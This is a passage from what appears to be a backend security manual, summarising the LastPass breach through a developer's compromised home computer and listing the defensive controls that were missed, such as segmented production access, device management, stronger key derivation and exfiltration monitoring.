What happened: Attackers first compromised a DevOps engineer's home computer by exploiting a vulnerable media software package (Plex). That machine had access to the LastPass cloud backup environment. Through that single developer machine, attackers exfiltrated:
- Encrypted customer password vaults (the crown jewels)
- Customer metadata (email, billing address, IP addresses)
- Cloud infrastructure configuration and secrets
What was missed:
- Developer machines should not have direct access to production backup environments โ use bastion hosts and just-in-time access.
- Personal machines used for work should be enrolled in MDM (Mobile Device Management) with security policies enforced.
- Vault encryption used PBKDF2 with low iteration counts โ weaker master passwords are crackable offline.
- No anomaly detection on the unusual volume of data being exfiltrated.
Lesson: The supply chain is part of your attack surface. A developer's home laptop is part of your security perimeter. Segment production access. Monitor for anomalous data exfiltration. Use hardware security keys for production access.
Common Thread Across All Four
References & Further Reading
Backend Field Manual ยท Backend Security ยท Chapter 17 (Extended)